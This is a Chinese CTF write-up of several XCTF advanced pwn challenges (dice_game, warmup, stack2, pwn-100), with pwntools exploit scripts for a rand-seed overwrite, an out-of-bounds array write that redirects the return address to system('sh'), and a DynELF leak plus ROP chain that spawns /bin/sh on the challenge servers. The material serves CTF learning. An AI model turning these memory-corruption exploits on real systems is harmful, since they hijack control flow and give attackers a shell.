攻防世界-进阶

dice_game

checksec
这题也是猜数,看起来就和前面的guess number那题一样。
checksec
只要进入sub_B28((__int64)buf); 这个函数就行了,这个函数悠flag

checksec
从这里可以知道如何覆盖seed:用buf,他们相差40h

checksec
这里是具体的猜数字部分,写exp时按着写就可以

参考之前guessnumber那题写exp

啊哈,果然是如出一辙,一样的exp搞定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
from ctypes import *
context.log_level = 'debug'
io = remote('111.198.29.45', 44300)
#io = process('./dice_game')

libc = cdll.LoadLibrary("libc.so.6")
##在这个库里可以找到rand

pay = "A"*0x40+ p64(1) #从v7把seed[0]覆盖成1
io.sendlineafter("name: ",pay)
libc.srand(1)
for i in range(50):
num = str(libc.rand()%6+1)
io.sendlineafter("Give me the point(1~6): ",num)

io.interactive()

warmup

没有附件,有点头疼。。。
从网上直接找吧
先补充一下:

sprintf

sprintf:
C 库函数 int sprintf(char str, const char format, …) 发送格式化输出到 str 所指向的字符串。
就是将格式化字符串输出的值写入到第一个参数中。和print相比,print是将输出给到标准输出流(屏幕),而它是将输出给到它的第一个参数。

解题

来自:https://blog.csdn.net/levones/article/details/88233101[https://blog.csdn.net/levones/article/details/88233101]
checksec
这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc
checksec
可以看到fprint是将sub_40060D这个函数的地址给了s。而且这个sub_40060D里面就是flag,执行这个函数就有flag。
最后还有一个gets函数,熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出。即溢出点可以通过计算得出:40H+8H=48H=72

那么只要溢出让他执行sub_40060D 这个函数就可以了嘛

stack2

官方题解
简书
csdn
简述下解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber"); // v6=1 show
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:"); // v6=3 chang
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7; // /下标越界
//
}
if ( v6 != 4 )
break; // v6=5 exit
v9 = 0; // V6=4 avg
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}

题目长这样的
整体实现的功能就是
1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit
这句话

查找题目中存在的漏洞,存在数组下标溢出:没有对输入的下标进行检查,导致我们可以在栈的任意位置进行写的操作。利用这个我们可以覆盖到这个函数的ret从而控制控制程序。找到ret我们就可以按照常规思路去让他执行system函数了。
程序中有一个后门函数hackhere但大佬说出题人在搭建docker环境时未注意,环境中只给了sh。也就是我们只能执行system(sh)来获得权限。
system函数从IDA的函数库上可以找到,sh也能从/bin/sh 截取下来。
然后就是ret地址在哪的问题了,看IDA char v13[100]; // [esp+38h] [ebp-70h]以为是0x70+4=116,但是实际上不行。正确的地址是0x84(132)只能自己去调试了
那只能这么理解了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

g_local=0
context.log_level='debug'

if g_local:
sh = process('./stack2')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("111.198.29.45", 48837)

def write_byte(off, val):
sh.send("3\n")
sh.recvuntil("which number to change:\n")
sh.send(str(off) + "\n")
sh.recvuntil("new number:\n")
sh.send(str(val) + "\n")
sh.recvuntil("5. exit\n")

def write_dword(off, val):
#off就是数组下标,而数组的溢出点在0x84(V13[0x84]处是返回地址,因为他不检查数组溢出,这个下标的位置就算rep)
## 这个函数其实实现的就是将val的地址逆序输入到V13[off]的地址处(小断序)
write_byte(off, val & 0xff)
write_byte(off + 1, (val >> 8) & 0xff)
write_byte(off + 2, (val >> 16) & 0xff)
write_byte(off + 3, (val >> 24) & 0xff)

## 通过4个write_byte 函数 实现了通过利用数组赋值完成将返回地址覆盖成sys地址的目的
def exit():
sh.send("5\n")
sh.interactive()

sh.recvuntil("How many numbers you have:\n")
sh.send("1\n")
sh.recvuntil("Give me your numbers\n")
sh.send("1\n")
sh.recvuntil("5. exit\n")

write_dword(0x84, 0x8048450)##数组V13[0x84]处
write_dword(0x8C, 0x8048980 + 7)
##0x8c指向system函数的参数:0x84+4+4(其中ret返回地址4个字节,即0x84-0x87,0x88-0x8B是system函数的返回地址,占4个字节)
##0X8048980是字符串/bin/sh的地址。+7是因为我们只要其中的sh这两个字符
exit() ##exit结束main函数,然后就会跳到它的返回地址执行system函数,而且system函数的参数也被我们布置成sh。运行后我们就可以得到权限

看了好久才看懂它自己定义的两个函数,就是完成一个小端序下输入system函数的地址,和sh的地址这两件事

一样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

#!/usr/bin/python
#coding:utf-8

from pwn import*




system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write system_addr 0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()
————————————————
版权声明:本文为CSDN博主「NYIST皮皮虾」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41071646/article/details/86600053

链接:
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

https://blog.csdn.net/qq_41071646/article/details/86600053

pwn-100

i春秋的帖子
这个很重要!!!!

利用思路

无libc,无system,无”/bin/sh”,有read,puts函数

1.利用DynELF模块泄露system函数地址
2.构造rop链,写入”/bin/sh”
3.调用system函数

解题

/bin/sh可写的空间

pop_rdi

把binsh写入哪里呢?
查找可以写入/bin/sh的地址
gdb-peda$ vmmap

找到可写的地址=。=
利用DynELF存在一个问题,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含/x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点

##exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',46875)
#io = process("./pwn-100")
elf = ELF("./pwn-100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()

https://www.jianshu.com/p/463d2fafb538
https://blog.csdn.net/qq_41071646/article/details/86559557